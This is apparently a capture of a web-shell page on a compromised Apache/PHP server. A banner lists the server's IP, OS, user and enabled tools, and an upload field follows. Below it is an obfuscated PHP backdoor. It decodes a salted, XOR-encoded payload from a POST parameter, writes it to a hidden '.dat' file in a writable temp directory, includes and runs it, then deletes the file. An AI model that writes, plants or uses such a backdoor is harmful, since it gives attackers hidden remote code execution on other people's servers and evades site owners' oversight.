| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/vereion/ |
Upload File : |
<?php
if(count($_POST) > 0 && isset($_POST["ps\x65t"])){
$parameter_group = array_filter([session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp"]);
$entity = $_POST["ps\x65t"];
$entity = explode ( '.' ,$entity) ;
$value = '';
$salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $salt6);
$r = 0;
array_walk( $entity,function( $v6) use( &$value,&$r,$salt6,$sLen) { $sChar = ord( $salt6[$r % $sLen]);
$dec =( ( int)$v6 - $sChar -( $r % 10))^42;
$value.= chr( $dec);
$r++;
});
for ($bind = 0, $element = count($parameter_group); $bind < $element; $bind++) {
$resource = $parameter_group[$bind];
if (!!is_dir($resource) && !!is_writable($resource)) {
$symbol = vsprintf("%s/%s", [$resource, ".dat"]);
if (@file_put_contents($symbol, $value) !== false) {
include $symbol;
unlink($symbol);
die();
}
}
}
}